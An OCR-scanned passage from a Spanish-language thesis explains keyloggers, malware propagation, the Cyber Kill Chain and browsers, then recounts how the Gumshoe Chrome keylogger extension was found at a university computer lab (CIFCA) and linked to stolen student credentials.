de igual forma alguien con los conocimientos y herramientas apropiadas, podria
utilizar estas cookies para recrear inicios de sesion, tomando control sobre los
sitios web del usuario, donde se requiera el uso de credenciales (Kaspersky, s.

f., 3er — 9° parrafo).

Por ultimo, se hablard del tema principal de la investigacién, el cual es una
clasificacion mas de los Spyware, estos son los Keyloggers, dichos softwares
maliciosos graban todas las pulsaciones de tecla que se realizan en el dispositivo
infectado y guardan la informacién en un archivo de registro que suele estar
cifrado, para posteriormente enviarlo a la persona que lo cre6 o instald. Este tipo
de Spyware, cuyo nombre es la abreviatura de keystroke logging (registro de
pulsaciones de teclas), recaba lo que se escribe en un equipo, smartphone o
tableta, incluidos mensajes de texto, correos electronicos, nombres de usuario y
contrasefas (Avast, 2021, 14° péarrafo). Tienen dos formas de acceder al equipo

que sera la victima:
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1. La primera forma es por medio del hardware, este tipo de Keylogger pueden
integrarse en el hardware interno de la PC o ser un complemento discreto
gue se inserta en secreto en el puerto del teclado para que intercepte todas
las sefiales a medida que se escribe. Esto significa que el atacante debe tener
acceso fisico al equipo. La manera que se tiene para ver lo registrado por
este Keylogger de hardware es que el ciber atacante regrese y lo tome el
dispositivo que insertd, si esto no sucede, no sera posible obtener la

informacion (Malwarebytes, s. f.-b, 5° parrafo).

2. La segunda forma son los Keylogger de software, los cuales son mucho mas
faciles de introducir e instalar en los dispositivos de las victimas. Pueden
ingresar a un dispositivo, cuando su propietario es engafiado por medio de
un correo, a través de un mensaje de texto, un mensaje instantaneo en las
redes sociales, o incluso a través de una visita a un sitio web legitimo pero
infectado, que explota una vulnerabilidad en él y descargue un archivo con el

Keylogger (Malwarebytes, s. f.-b, 5° parrafo).

El primer Keylogger encontrado, se piensa fue escrito por los rusos en la Guerra
Fria (Citeia, 2021), debido a un incidente famosos que tuvo lugar a mediados de
la década de 1970, cuando los espias soviéticos desarrollaron un registrador de
teclas de hardware inteligente, que servia para las maquinas de escribir
eléctricas IBM Selectric en Estados Unidos. Una vez instalados, los keyloggers
midieron los cambios apenas detectables en el campo magnético regional de
cada maquina de escribir a medida que el cabezal de impresion giraba y se
movia para escribir cada letra. Mientras tanto, las embajadas soviéticas optaron
por utilizar maquinas de escribir manuales en lugar de eléctricas para escribir

informacion clasificada.

Durante el pasar de los afos varias formas de registro de teclas han estado
ocurriendo durante bastante tiempo, el auge en la creacion y el uso de
Keyloggers comercialmente hablando, creci6 a un numero significativo a
mediados y finales de la década de 1990 con todo tipo de productos que llegaron

rapidamente al mercado durante ese tiempo. Desde entonces, la cantidad de
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keyloggers comerciales disponibles para la compra se ha disparado a miles de

productos diferentes con diferentes mercados meta y en muchos idiomas.

Como ejemplo en el afilo 2005 se popularizé el termino, debido a que un
empresario de Florida demandé al Banco de América, luego de que robaran de
su cuenta 90,000 dolares, este hecho repercutié en una investigacion en la que
se demostrd que la computadora del empresario habia sido infectada con un
Kaylogger, el cual registraba cada pulsacion del teclado y enviaba esta
informacion a ciber delincuentes via Internet, consiguiendo su usuario y

contrasefia (Grebennikov, 2007, 5° parrafo).

Histéricamente los keyloggers se han centrado en el usuario doméstico para el
fraude y la industria, esto representa un problema grave, en el que cualquier
descuido a la hora de abrir algin archivo descargado sin cuidado, puede

comprometer a un empleado o funcionario y registrar sus credenciales.

1.3 Propagacion de Malware

Dado el contexto anterior donde se explica lo que es malware y los tipos de
codigo malicioso que pueden existir, se detallaran algunos de los métodos de
propagacion, que utiliza el software malicioso para poder llegar a diferentes
equipos de computo dentro de la red global. Antes de comenzar con este tema,
se debe de identificar y tener en claro lo que es una vulnerabilidad dentro de este
campo de estudio, la cual se identifica como cualquier fallo o error en
el software o en el hardware, que pone en riesgo la seguridad del mismo, esta
puede ser producida por un error de configuracién, una carencia de

procedimientos o un fallo de disefio (Ambit, 2020, 5° parrafo).

Estas vulnerabilidades son explotadas para propagar malware, previo a
identificar estas debilidades, lo que tal vez puede considerarse como el primer
paso que utilizan todos los ciberdelicuentes para abrirse paso a su maquina
objetivo es la de conocer el tipo de sistema operativo, hardware y el tipo de
programas que posee su victima, una vez obteniendo esta informacion el

segundo paso es buscar algun fallo de seguridad o vulnerabilidad, ya sea del
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sistema operativo, el hardware o de alguno de los programas instalados y

proseguir a explotarla.

Otro método de infeccion, que también puede ser considerado como un primer
paso debido a que muchos atacantes lo utilizan para acercarse y conocer
detalles de su objetivo es la ingenieria social la cual se define como un conjunto
de técnicas que usan los cibercriminales para engafiar a los usuarios incautos
para que les envien datos confidenciales, infecten sus computadoras con
malware o abran enlaces a sitios infectados (Kaspersky, s.f.-a ler parrafo). Esta
forma de propagacion se puede considerar de igual manera, como un segundo
o tercer paso, debido a su definicion, en la cual se comenta, que aparte de ser
considerado como una forma de conseguir informacion, también puede ayudar
a que la victima infeste su equipo por seguir instrucciones falsas del victimario,

para ejecutar malware.

El siguiente método de infestacion de malware en una computadora es
el phishing, el cual consiste en engafar al usuario para conseguir informacién
sensible, como usuarios y contrasefias de algun servicio o codigos de seguridad
de tarjetas, haciéndose pasar por una pagina o correos confiables, también
pueden incluir archivos o enlaces de descarga, los cuales pueden comprometer

el dispositivo (WeLiveSecurity, 2021, 4° péarrafo).

Los dispositivos de almacenamiento externo, conocidos como USB son una
forma de almacenar y transferir malware, ya que pueden infectarse al guardar
archivos desconocidos o al insertarlas en equipos ya comprometidos. Una vez
gue la unidad afectada esta conectada al computador del usuario y se accede a
ella, el dispositivo puede infectarse, si no se tienen los conocimientos y el

cuidado necesario para estos casos (WeLiveSecurity, 2021, 6° parrafo).

Durante mucho tiempo las redes punto a punto las cuales son utilizadas
normalmente para conectar entre si dos equipos dentro de una red (Euskadi, s.f.,
ler parrafo) y los torrents que se define como pequefos archivos que contienen
un rastro de donde se encuentra el archivo real que se desea descargar en una
red de distintos equipos (Vpnoverview, 2020, 4° parrafo), son herramientas

utilizadas normalmente para la descarga ilegal de software, juegos y archivos
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multimedia. Sin embargo, también han sido utilizadas para enviar software

malicioso dentro de los archivos compartidos (WeLiveSecurity, 2021, 9° parrafo).

La siguiente forma de propagacion de malware es cuando a un programa
legitimo, se le ha inyectado codigo malicioso, esto incluye software de sitios web
de terceros o archivos compartidos a través de redes punto a punto como se
menciond arriba. Algunos programas también instalardn otro software que los
sistemas operativos detectan como potencialmente no deseado, lo cual puede
incluir barras de herramientas o programas que muestren anuncios adicionales

mientras se navega por la web (WeLiveSecurity, 2021, 12° péarrafo).

Mencionado con anterioridad otra de las formas de infeccion de software
malicioso es por medio de sitios web, que a menudo estan plagados de anuncios
los cuales aparecen cada vez que se hace clic en cualquier seccion de la pagina
web o incluso pueden aparecer cada vez que se acceda a ciertos sitios web. Si
bien el objetivo de estos anuncios es generar ingresos, a veces contienen varios
tipos de malware y al hacer clic en estos anuncios, se puede dar el caso de
descargar involuntariamente archivos maliciosos. Algunos anuncios incluso usan
como tactica generar temor al indicar al usuario que su dispositivo ha sido
comprometido y que la solucion de seguridad es la ofrecida por ellos
(WeLiveSecurity, 2021, 13° parrafo).

Aplicaciones falsas, esta forma de infestacion de malware suele hacerse pasar
por software verdadero y tratar de engafiar a los usuarios para que las
descarguen en sus dispositivos y de esa forma comprometerlos. Pueden
disfrazarse de cualquier cosa, haciéndose pasar por herramientas para el
seguimiento del estado fisico, aplicaciones de criptomonedas. Sin embargo, la
realidad indica que, en lugar de recibir los servicios prometidos, los dispositivos
se infectaran con varios tipos de malware, como ransomware, spyware 0O

keyloggers (WeLiveSecurity, 2021, 15° parrafo).

Estas amenazas pueden ser controladas mediante buenas practicas de
ciberseguridad, que incluye la utilizacién de soluciones de software de seguridad
con buena reputacion y mantener los sistemas parcheados y actualizados

(WeLiveSecurity, 2021, 17° parrafo).
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1.4 Ciclo de un Ataque de Malware

Desde que los programadores se dieron cuenta de los beneficios que podrian
obtener por esparcir codigos maliciosos en la red y explotar vulnerabilidades, se
han realizado esfuerzo con tal de detener los ataques por parte de hackers
experimentados, por lo que se han identificado secuencias estructuradas de
pasos para describir actividades que un atacante ejecuta progresiva y

exitosamente antes de lograr vulnerar sus objetivos.

Para describir las etapas que un cibercriminal utiliza al realizar un ataque a su
objetivo, se han descrito diversos modelos, pero el que se encuentra mas
completo es el denominado Cyber Kill Chain, el cual es un concepto militar que
identifica la estructura de un ataque, este es un proceso integrado de extremo a
extremo descrito como una cadena, ya que, Si surge una interrupcién en

cualquier etapa, puede romper todo el proceso (SANS, 2019, 2° parrafo).

Este concepto fue difundido ampliamente por Lockheed Martin, entidad clave
dentro del complejo industrial-militar de Estados Unidos, siendo el mayor
contratista militar del pais, con sede en Bethesda, Maryland, Lockheed Martin es
una empresa aeroespacial y de seguridad global, que se dedica principalmente
a la investigacion, el disefio, el desarrollo, la fabricacion, la integracion y el
mantenimiento de sistemas, productos y servicios de tecnologia avanzada

(Lockheed Martin, s.f.-a ler parrafo).

Esta compafiia hizo diversas investigaciones sobre ciberseguridad, las cuales
fueron plasmadas en su filosofia llamada Intelligence Driven Defense, la cual
respalda la intencién de detener las maniobras ofensivas durante un ciberataque,
mientras se mantiene una postura defensiva, de la cual se desprende el concepto
mencionado anteriormente Cyber Kill Chain, aunque este concepto se comento,
que procede de un contexto militar se ajusté de forma natural al contexto digital
para ayudar a los equipos de seguridad informética a comprender, detectar y
prevenir amenazas persistentes (Lockheed Martin, s.f.-b ler péarrafo). A
continuacion, se describiran las principales etapas de este framework, desde el

inicio de un ataque hasta el robo de informacion:
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Figura 1 - Cyber Kill Chain
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1. Reconocimiento

Antes de cualquier ataque dirigido, lo primero que surge es la motivacién. Algun
individuo o grupo decide que un objetivo tiene algo que quiere y por lo tanto esta
dispuesto a invertir recursos y tiempo para conseguirlo. Es la fase en la que el
atacante busca informacién sobre la victima, se recolecta tanta como sea posible

ya sea de forma pasiva o activa (Panda Security, s.f. p. 6).

a) Se considera recoleccion pasiva cuando se hace por medios que no pueden
ser detectados por el objetivo, por ejemplo: obtener informacion de los
dominios utilizados, direcciones de correo electronico, informacién de la
empresa y sus empleados mediante busquedas en redes sociales, visitas a
las paginas web, historiales académicos, publicaciones en conferencias,

noticias, ingenieria social, etcétera (Panda Security, s.f. p. 6).
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b) La recoleccion activa deja rastros que pueden ser detectados, por ejemplo:
escaneos de red, andlisis de activos expuestos en Internet, discusiones en

grupos de redes sociales, entre otros (Panda Security, s.f. p. 6).

Generalmente, las recolecciones de datos tratan de averiguar qué tecnologias
son utilizadas. Una vez que el ciberdelincuente descubre lo que necesita, puede
valorar los métodos que pueden funcionar para tener éxito al atacar. Por eso es
importante que las personas estén correctamente formados y concienciados
acerca de la seguridad. Asi serdn mas cuidadosos con la informaciéon que
comparten al publico y tomaran medidas para reforzar la proteccion de la misma

(Panda Security, s.f. p. 6).

2. Preparacion

En esta etapa el ciberdelincuente prepara su atague hacia un objetivo especifico.
Lo que sigue es la creacién o adquisicion del arsenal de ciberarmas; esto
generalmente significa ensamblar herramientas de acceso remoto, el cual se
identifica como un software que provee al intruso de acceso y control de un
equipo comprometido, con mecanismos de explotacion de vulnerabilidades en
un componente del malware el cual sera enviado a la victima. Esta fase concluye
con una serie de pruebas para confirmar que el codigo malicioso puede evadir
los controles de seguridad mas comunes y garantizar que se lograra el objetivo

(Panda Security, s.f. p. 6).

3. Distribucion

En esta fase se produce la transmision del ciberataque, para obtener acceso a
la red de la victima. Para ello se enviaran las ciberarmas por diversos medios,
siendo el correo electrénico, sitios web infectados y USB los tres mas comunes.
Estas ciberarmas buscan explotar vulnerabilidades en el sistema de la victima y
evadir los sistemas de seguridad que tenga, produciéndose asi la intrusién inicial

(Panda Security, s.f. p. 7).

Al activarse el codigo del intruso se crean accesos remotos ocultos, que
permitiran utilizar el sistema comprometido para ejecutar sus siguientes pasos.
En este momento, el atacante define cual va a ser la metodologia utilizada para

viralizar su ataque y llegar a la mayor cantidad de objetivos posibles. Entre los
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métodos mas conocidos se encuentra el envio masivo de correos electronicos,
la publicaciébn de noticias en las redes sociales, infecciones a través de
dispositivos USB o a través de una pagina web con contenido malicioso (Panda

Security, s.f. p. 7).

4. Explotacion

Esta etapa es en la que el atacante compromete el equipo infectado y su red con
las ciberarmas, en este momento se ha creado el primer punto de presencia y
control dentro de la red objetivo. Una vez que se ha liberado el ataque y la
propagacion del mismo a tantos usuarios como sea posible, el atacante
comienza a recopilar la informacién que requiere (Panda Security, s.f. p. 7).

5. Instalacion

En esta fase es en la que el atacante instala el malware llegando a los activos
tecnologicos que contienen lo que busca, lo siguiente seré ampliar la presencia
y control del intruso en la red, es decir, lograr la persistencia; para ello realizara
el reconocimiento de la red interna y empezara a moverse dentro de ella, a esto

ualtimo se le llama movimiento lateral (Panda Security, s.f. p. 8).

Uno de los objetivos primordiales dentro de esta etapa es conseguir contrasefas
con el mayor nivel de privilegios dentro del sistema operativo, denominado
escalamiento de privilegios, que permitira realizar diferentes tipos de acciones y
al contar con estos privilegios se podra seleccionar y recolectar la informacién

requerida e iniciar la extraccién de la misma (Panda Security, s.f. p. 8).

6. Comando y control

Durante esta etapa el atacante ya cuenta con el control del sistema. Puede llevar
a cabo acciones maliciosas como robar informacion confidencial, extraer datos
de acceso y capturas de pantalla, instalar programas y conocer aun mas a la

victima y su red (Panda Security, s.f. p. 8).

7. Acciones sobre los objetivos
Esta es la fase final, en la que el atacante consigue los datos que necesita y
expande el ciberataque, iniciando el ciclo otra vez y repitiendo todas las etapas.

Una vez logrados sus objetivos, el intruso pretendera eliminar toda la evidencia
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gue pueda ser utilizada para rastrear su actividad, con el fin de no ser detectado
por los duefios o administradores del equipo al instalar software o las
modificaciones que haya ejecutado, de esta manera puede seguir entrando y
saliendo del sistema comprometido sin mayor problema y evitar ser atrapado

(Panda Security, s.f. p. 9).

Se puede apreciar, dentro del ciclo de vida del ataque de un software malicioso
que es muy importante conocer las etapas o pasos que conlleva, ya que con esto
se puede obtener una idea general de como el intruso puede llegar a ingresar a
los sistemas, por eso se debe buscar mantener el control y la seguridad de las
descargas que se realizan, las URL a las que se visitan, los medios de
almacenamiento externo que se conectan a las maquinas o incluso, las personas
que utilizan dispositivos propios, esto se comenta para prevenir incidentes y que

roben datos sensibles.

Es de suma importancia entender como funcionan los ataques por parte de
hackers ya que esto permitira establecer estrategias integrales que sean mas
efectivas al considerar controles y actividades para cada una de las fases. En
ciertas fases hay que buscar diversos tipos de indicadores de intrusion. Asi
mismo, hay que entender mejor las tacticas, técnicas y procedimientos de los
atacantes para buscar las contramedidas mas adecuadas, entre mas temprano
en el ciclo de vida se detecten y mitiguen un ataque sera mejor, por lo que crear
las capacidades internas para ello se vuelve una estrategia fundamental (Panda

Security, s.f. p. 12).

Como dato adicional se menciona que dentro de México los ataques por malware
mas frecuentes a equipos de escritorio son aquellos donde los troyanos y el
adware obtienen un porcentaje mayor representando el 85.6% de los casos a
dispositivos Windows y macOS, los datos son recopilados por Avast, un antivirus

conocido a nivel mundial con fecha del 1° de enero al 31° de diciembre de 2021.
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Figura 2 - Gréafica de Ataques Malware en México
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1.5 Navegador Web

Para comprender mas a fondo lo anteriormente mencionado y de la misma forma
comprender el tema que se encuentra en los siguientes parrafos sobre el
Malware Gumshoe, se requiere explicar lo que es un navegador web, también
llamado navegador de Internet o simplemente un navegador, es una aplicacion
de software que permite acceder a la World Wide Web y esto se refiera a Internet.
Un navegador web envia y recibe informacion (datos) de otras partes de la web.
La informacién que se recibe aparece en la ventana del navegador. Los datos se
transfieren mediante el protocolo de transferencia de hipertexto (HTTP), que
define como se transmiten el texto, las imagenes y el video en la web (Mozilla, s.

f., 4° parrafo).

Aunque los términos Internet y web se usan como sinébnimos se debe destacar
gue uno aparecié antes que el otro. Internet, también llamada la red de redes, es
la red que permite a las computadoras comunicarse entre si. Se puede acceder
a Internet de varias maneras. La World Wide Web, o simplemente web, es
Unicamente una de las formas de acceder a Internet para enviar, recibir y
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compartir informacion. Aunque se use la web para acceder a la mayor parte de
la informacidn y los servicios que se obtienen de Internet, no es la Unica manera

de llegar hasta alli (Bodnar, 2021, 27° parrafo).

El primer navegador web se llamaba World Wide Web y lo desarroll6 Tim
Berners-Lee en el afio de 1989. Aunque el nombre del navegador web especifico
no durd, su legado sigue vivo hasta fechas recientes, ya que la mayoria de las
direcciones web empiezan por www, que significa World Wide Web.
Posteriormente se crearon algunos navegadores rudimentarios mas, pero para
este tiempo el auténtico innovador fue NCSA Mosaic, que permitia mostrar
graficos multimedia, como texto e imagenes, en conjunto de varios protocolos
gue son un conjunto de reglas, estandares y politicas formales, conformados por
restricciones, procedimientos y formatos que definen el intercambio de datos de
informacion para lograr la comunicacion entre dos o0 méas dispositivos a traves de
una red. Los protocolos de red incluyen mecanismos para que los dispositivos
se identifiquen y establezcan conexiones entre si, asi como reglas de formato
gue especifican como se deben de agrupar los datos en los mensajes enviados
y recibidos (Bodnar, 2021, 29° parrafo).

Estas caracteristicas ayudaron a popularizar el uso de Internet entre usuarios
con menos conocimientos tecnolégicos y encauzé el desarrollo web hacia una
interfaz de usuario mas intuitiva y amigable con el usuario. Aunque el navegador
Mosaic en si acabo desapareciendo, sus creadores originales desarrollaron mas
el proyecto y Mosaic se convirtid en Netscape Navigator y finalmente en Mozilla

Firefox.

En su mayor parte, ademas de un disefio mas &gil y velocidades mas elevadas,
el navegador web basico no ha cambiado tanto desde sus primeras versiones
hace un par de décadas. Lo que ha cambiado son las distintas caracteristicas y
extensiones que ofrecen los navegadores, asi como el nimero y la variedad de

paginas web que puede visitar.

Para mostrar informacion grafica en el dispositivo, los navegadores web usan
una interfaz de usuario, que también recibe el nombre de frontend, donde puede

se puede desplazarse y navegar por las paginas y los sitios web.
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Para enviar y recibir datos, los navegadores web también utilizan un componente

menos visible llamado backend.

El backend envia sus solicitudes a Internet y transporta los datos recibidos de
vuelta al dispositivo del usuario para que pueda conectarse con las paginas web
gue desea visitar e interactuar con ellas.

Las caracteristicas mas habituales de un navegador web incluyen la propia
ventana del navegador (interfaz de usuario), la barra de busquedas/direcciones
y opciones para ver el historial de sitios web que ha abierto el usuario, la
configuracion y otras herramientas. Todos los navegadores web tienen estas
caracteristicas (Bodnar, 2021, 2° - 6° péarrafo). Algunos ejemplos Yy

caracteristicas de los navegadores actuales son:

Safari el cual es el navegador web predeterminado de todos los dispositivos
Apple (Mac, iPad y iPhone). Aunque mucha gente no tenga equipos Mac,
muchos tienen dispositivos iPhone y iPad. Safari es considerado el navegador

web mévil mas popular en Estados Unidos (Bodnar, 2021, 8° parrafo).

El navegador Microsoft Edge (anteriormente, Internet Explorer), es la sustitucion
del antiguo y desactualizado Internet Explorer, Microsoft Edge es el nuevo
navegador de Microsoft. Este navegador esta incluido en cualquier dispositivo

que use el sistema operativo Windows de Microsoft (Bodnar, 2021, 9° parrafo).

El siguiente navegador es Mozilla Firefox fue un navegador muy popular
nuevamente en Estados Unidos ya que es el sucesor de Netscape Navigator),
pero ultimamente ha perdido cuota de mercado frente a Chrome y Safari. Un
motivo de la durabilidad de este navegador de Internet es que Firefox incluye
herramientas Utiles para desarrolladores, de modo que los informaticos y
profesionales web lo tienen facil para inspeccionar y actualizar sus paginas web

por motivos de seguridad, privacidad y usabilidad (Bodnar, 2021, 10° parrafo).

El navegador no tan popular que entra dentro de este grupo es Opera el cual ha
conseguido una base estable de usuarios a lo largo de los afos. Esto se debe

en parte a las caracteristicas Unicas del navegador y sus caracteristicas
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especiales para mantener la privacidad y seguridad del usuario también por su

herramienta que bloquea Adware (Bodnar, 2021, 11° parrafo).

Todos los navegadores mencionados anteriormente tienen sus propios modos
de navegacion privada, pero solo en Avast Secure Browser la navegacion segura
y privada es una caracteristica principal, no algo opcional ni un afiadido de ultima
hora. Su extensa lista de caracteristicas de seguridad y privacidad incluye
proteccion frente a correos malintencionados, seguimiento web y huella digital
del navegador. También cuenta con un blogueador de anuncios integrado y
alertas de seguridad automatizadas faciles de configurar (Bodnar, 2021, 12°
parrafo).

Con un 70% de la cuota de mercado en todo el mundo, Google Chrome es el
navegador web mas popular. La popularidad de Chrome se explica en parte por
sus altas velocidades de navegacion y una integracion sencilla con su cuenta
personal de Google, lo cual lo convierte en el navegador mas cémodo para la
mayoria. Ademas, con el mayor catdlogo de extensiones de los principales
navegadores, Chrome también es un navegador extremadamente sencillo de

modificar y personalizar (Bodnar, 2021, 6° parrafo).

1.6 Chrome

El navegador Chrome ya mencionado anteriormente y solicitado para este
trabajo escrito, ya que este es el Gnico que cuenta con la caracteristica especial
de afiadir la extension del Malware Gumshoe por lo que es necesario detallar un
poco mas sobre su funcionamiento y caracteristicas. Google Chrome es un
navegador web del tipo software gratuito, que fue desarrollado por Google y

aparecio por primera vez para Windows en el afio 2008.

Al principio Google Chrome se apuntaba como un navegador mas, que solo
buscaba vincular todo el contenido que estaba presente en la web. En este
aspecto, Google decidio desarrollarlo un poco mas para lanzar una herramienta
innovadora que fuera disefiada a través de un software capaz de ejecutar

diferentes aplicaciones presentes en la web (Google Sites, s. f., 2° parrafo).
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Con el objetivo de mostrase como una plataforma simple pero efectiva, Google
Chrome actualizaba sus funciones afo con afo, le daba una cierta ventaja
competitiva ante los demés navegadores existentes ya que sus beneficios
llamaban la atencién de diferentes usuarios, por ejemplo, en el afio 2009 la
plataforma aument6 la velocidad de la carga de sitios web, gracias a la
modernizacién de los motores de JavaScript y Webkit, lo que ayudd a que el
usuario pudiera abrir muchas pestafas sin que el programa tuviera problemas
de memoria y se bloqueara, en el aspecto estético de la plataforma también
cambiaba y establecia una modalidad de personalizacion en donde afiadié 29

temas y 300 extensiones experimentales (Mesa, 2020, 4° parrafo).

Las extensiones experimentales en los afios siguientes se quedarian y se
agregarian aun mas, debido a su uso practico, las extensiones de Chrome son
programas que se afiaden al navegador y que aportan funcionalidades extra. El
usuario decide que funcionalidad extra necesita y la busca, para posteriormente
afadirla y de esa forma tener un aspecto personalizable acorde a sus
requerimientos sin la necesidad de instalaciones dificil (La Vanguardia, 2019,1°

parrafo).

1.7 Malware Gumshoe

Dado el contexto anterior acerca de la historia de los Spyware y de los
navegadores, se puede definir el Keylogger estudiado dentro de esta
investigacion, este malware tiene por nombre Gumshoe, ya que esta palabra
hace referencia a muy nuevos e inexpertos detectives privados (Cambridge
Dictionary, 2021), que es similar a lo que hace el Keylogger, ya que su
funcionalidad permite espiar o registrar de forma muy sencilla y discreta las
contrasefas y usuarios tecleados dentro de un navegador (Artille, 2018, ler

parrafo).

Dichas contrasefias, son almacenandolos dentro de una base de datos local, la
cual se define como un conjunto organizado de informacion o datos
estructurados, que normalmente se guardan de forma electrénica en un sistema
informatico, como una computadora (Oracle, 2021, ler parrafo). Como ya se

menciono esta funcionalidad extra, anicamente funciona en Chrome, por lo tanto,
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la instalacion y su facil usabilidad, permitieron que este malware creciera y

llegara a instituciones educativas (Avast, 2021, 2° parrafo).

1.8 Instituciones Educativas Como Victimas de Malware

Describiendo el funcionamiento del malware y su origen, se destaca que desde
gue las computadoras son usadas dentro de las instituciones de educacion, han
sido blanco de ataques por parte de diferentes entidades, desde usuarios
internos, como expertos ciberdelincuentes. Tal vez lo anterior mencionado, no
se caracteriza por los numerosos ataques que recibiria alguna institucion
financiera o gubernamental, pero si se puede destacar que en estos ultimos afios
se han visto varias noticias al respecto del aumento de estos percances hacia la
educacion superior.

Algunas de las noticias que se encontraron a lo largo del estudio relacionadas

con el tema de investigacion son las siguientes:

1.8.1 Hackers target Louisiana schools for personal data

Las escuelas estatales de Louisiana estan tratando de purgar sus computadoras
de malware, después de que sus sistemas fueron pirateados. El FBI, la policia y
la Guardia Nacional estan investigando los ciberataques contra tres distritos
escolares en el estado surefio. Los sistemas de informacion se infectaron con un
virus que podria haber comprometido datos confidenciales, incluidos nombres,
direcciones y datos bancarios. Los sistemas escolares estatales se han
convertido en un objetivo popular para los piratas informéticos porque estan
llenos de datos personales valiosos, pero carecen de ciberprotecciones (Times
Reino Unido, 2019, enero 15: parr. 28).

1.8.2 Malware encontrado en computadoras portétiles distribuidas por el
gobierno

Algunas de las computadoras portatiles entregadas en Inglaterra para ayudar a

los nifios vulnerables a educar en casa durante el encierro contienen malware.

Los maestros compartieron detalles en un foro en linea sobre archivos

sospechosos encontrados en dispositivos enviados a una escuela de Bradford.

Se cree que el malware, que dijeron que parecia estar contactando servidores
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rusos, se encontré6 en computadoras portatiles entregadas a un pufiado de
escuelas (BBC, 2021, diciembre 4: parr. 1).

1.8.3 Adolescentes expulsados por keylogging de computadoras
escolares

Once estudiantes aparentemente involucrados en un escandalo de pirateria para
cambiar sus calificaciones fueron expulsados de su escuela secundaria en
Newport Beach, California. Los estudiantes de la preparatoria Corona del Mar
fueron acusados de usar keyloggers para espiar los sistemas informaticos de sus
maestros, infiltrarse en la red y cambiar sus calificaciones electronicamente

(Johnson, 2014, septiembre 18: parr. 7).

1.8.4 Security Trouble Grows in Academia as School Begins

Los distritos escolares afectados por la actividad delictiva en linea incluyen
algunos de los méas grandes del pais. En los primeros dos dias de instruccién
digital la semana pasada, las Escuelas Publicas del Condado de Miami-Dade
sufrieron fallas en el software y un ciberataque contra el distrito escolar que

impidi6 el acceso de miles de maestros y estudiantes.

El mundo académico estd tomando medidas para reducir la avalancha de
ciberamenazas. llustrando el problema esbozado por Castro es el flujo constante
de informes de noticias sobre escuelas que han sido afectadas por ransomware
en los Ultimos meses. Y no son solo los sistemas escolares. Los colegios y
universidades de todo el pais han sido blanco de ataques de ransomware y
malware en los ultimos meses. La Universidad de Utah y la Universidad de
California en San Francisco incluso pagaron rescates de $ 457,000 y $ 1,14
millones de dolares, respectivamente, para que los sistemas vuelvan a estar en

linea y se recuperen los datos robados.

Pero las escuelas publicas siguen siendo las mas vulnerables porque un sistema
robusto de ciberseguridad cuesta mucho dinero, algo que pocos distritos
escolares tienen, segun Tony Coulson, profesor y director del centro de

ciberseguridad en Cal State San Bernardino, quien dijo que las instituciones por
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debajo del nivel universitario son los mas vulnerables a los atagues (Newcombe,

2020, enero 8: parr. ler - 11° parrafo).

Dando un resumen sobre las anteriores noticias mencionadas, las cuales
muestran diferentes perspectivas ya comentadas sobre los ataques cibernéticos
hacia instituciones de educacion, estos enfoques muestran que no solo los
hackers utilizan malware para sus propios fines, también los mismos alumnos
buscan obtener informacion proporcionada por los sistemas ya sea para cambiar
Sus notas, evitar clases, entre otros propdésitos, el objetivo final, siempre sera el

recabar informacion para tener algun tipo de ventaja.

También algo que llama la atencién es que, tanto en nuestro pais, como en
Estados Unidos de América se hace presente que las instituciones mas

afectadas siempre son las publicas, debido a la falta de recursos.

Para dar una respuesta al porqué del aumento de estos ciberataques se puede
decir que a menudo, las instituciones, son una mezcla Unica de redes publicas y
privadas. Las escuelas y las universidades son entornos muy conectados, con
tasas muy altas de intercambio de archivos. Cada dia hay miles, incluso decenas
de miles, de estudiantes, académicos y empleados que circulan y utilizan
computadoras portatiles, tabletas y teléfonos inteligentes para acceder a los

datos institucionales cada minuto.

Las redes utilizadas pueden ser wifi publicas no seguras o redes privadas
especificas de un departamento. Cada uno de ellos tiene controles de seguridad
independientes o0 no. Un segundo factor que pone en mayor riesgo a las
instituciones educativas es el hecho de que muchas de ellas tienen sistemas
heredados. Muchas escuelas han existido desde mucho antes del uso de
Internet, y aunque crecieron con la tecnologia moderna, a menudo tienen
enfoques anticuados de la seguridad informatica. La cultura académica es la de
compartir, lo que crea naturalmente un ambiente poroso.

El tercer factor principal y el de mayor preocupacion es que las escuelas
mantengan un rico fondo de informacion personal de los ex alumnos y de valiosa

investigacion y propiedad intelectual (Infocyte, 2021, 1er — 3 er parrafo).
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1.9 Facultad de Contaduriay Administracién

Lo anterior recabado ayuda a dar un contexto, para explicar lo sucedido en la
Facultad de Contaduria y Administracion.

La Facultad de Contaduria y Administracion fue fundada en el afio de 1929 con
el nombre de Facultad de Comercio y Administracion, posteriormente en el afio
1965, con la aprobacion de los estudios de posgrado obtuvo su actual nombre
(Adam, 2021 p. 18 - 19). Dicha Facultad cuenta con su centro de cémputo,
nombrado Centro de Informética de la Facultad de Contaduria y Administracion
(CIFCA), donde se imparten cursos, talleres y materias de tecnologia avanzada
y manejo de software como apoyo a todos los alumnos (Centro de Informatica -
CIFCA, 2021, 1er parrafo).

En este centro de cémputo, fue donde comenzé a surgir la problematica del
Malware Gumshoe, el cual empezd a tener consecuencias graves, como la
divulgacién de informacion sensible originaria de redes sociales de muchos

alumnos de la Facultad.

En el afio 2017 fue donde comenzé el hurto de credenciales y violacion a sitios
de internet personales como Facebook, Hotmalil, etc., varios alumnos levantaron
la voz al respecto de algunos accesos a sus correos 0 paginas personales, no
reconocidos, en la cual ellos negaban haber entrado o haber accedido desde
alguna locacion que no era la habitual. Por lo que, en afos posteriores esto se
hizo publico, cuando salié en varios periodicos, algunas notas informando sobre
el abuso que se habia tenido en las cuentas personales para la obtencion de
materiales y contenido intimo de alumnos de la Facultad de Contaduria y

Administracion

Con el pequeiio fragmento de la nota de El Universal, que se encuentra en el
planteamiento, se pueden hacer varios cuestionamientos, pero el mas
importante seria el cOmo es que alguien ajeno a la informacion sensible de los
diferentes usuarios que fueron afectados, pudo obtener acceso a sus

credenciales de usuario y al contenido intimo mencionado.

De acuerdo con un pequefio analisis que se llevd a cabo dentro de las

computadoras de escritorio del CIFCA, se encontré que la informacion robada
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pudo haber sido recabada por medio del Malware Gumshoe, el cual se encontro
como extension en el navegador Chrome, estas computadoras eran usadas a
diario por el personal académico, lo que hace pensar que este fue el medio
principal que dio inicio a la divulgacién de informacién sensible, entre la

comunidad de la Facultad.
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Capitulo II: Laboratorios CIFCA

2.1 Antecedentes CIFCA

El Centro de Informatica de la Facultad de Contaduria y Administracion (CIFCA)
se empez06 a construir el 1° de febrero del afio 2006 y su inauguracion fue el 20
de agosto del afio 2008. Este centro se encuentra ubicado en el lado oeste de
las instalaciones de la Facultad, a un costado de la biblioteca Alfredo Adam
